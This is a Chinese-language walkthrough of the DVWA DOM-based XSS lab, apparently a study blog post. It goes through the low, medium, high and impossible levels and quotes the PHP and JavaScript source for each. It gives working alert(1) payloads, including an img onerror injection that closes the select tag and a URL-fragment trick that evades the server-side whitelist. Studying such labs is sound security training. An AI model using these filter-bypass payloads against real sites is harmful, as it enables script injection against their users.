关于DOM
因为自己还没有深入,系统的学习js和html。因此对于DOM的理解也不深入,就目前个人的认识,DOM类型的XSS是利用浏览器访问DOM对象,修改网页html结构,从而达到xss注入。等以后详细的学习了,再把这个介绍补上。
这里推荐一篇有关DOM-XSS介绍的文章:
DOM-XSS攻击原理与防御
low
low级别,没有防护。
但是这里的输入框是一种选择类型的框框,无法在输入框中构造payload。但是通过观察可以发现,输入框所选择的内容会被构造到url中发送。所以可以在url中构造payload发送。
payload
?default=<script>alert(1)</script>
medium
看下源码
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
后台过滤掉了<script>
标签,因此首先要选择避开<script>
的注入。
再来看一下部分网页源码:
<form name="XSS" method="GET">
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
</select>
<input type="submit" value="Select" />
</form>
这里会收录url中default
参数提交的内容,然后构造成一个<option>
标签写到页面里。
因此,注入点可能就是在default
后面构造payload
这里可以直接闭合<select>
,利用<img>
注入。
payload
/?default=</select><img src=1 onerror=alert(1)>
high
在没看后台源码之前,输入了好多标签都不管用。猜测可能是带尖括号的都被过滤了吧。
这里利用#
的机制,绕过后台的过滤。
原理:在URL中#
表示的是一个锚点。在浏览器识别url的时候,会把#
后的字符当做页面的定位,然后加载页面的时候,直接定位到指定的标签。因此#
后面的字符是不会被浏览器发送到服务器端的。这样就实现了绕过服务器端的防御机制。而依赖DOM修改html结构执行的是js代码,这个执行过程是在客户浏览器端的,因此实现了不经过服务器就可以实现xss注入。
payload
?default=English#</select><img src=1 onerror=alert(1)>
抓包看一下:
#
之后的内容,没有被传过去。
然后再来看一下服务器端的过滤机制。
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
这里用的switch
语句,也就是只能输入它规定的几个字符串,否则直接被重定向成English
。
impossible
这里后端没有php防护,但是在前端进行了防护。
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + (lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
这里的lang
没有像之前一样经过decodeURL
解码。因此输入进去的数据都会经过url编码呈现到页面上。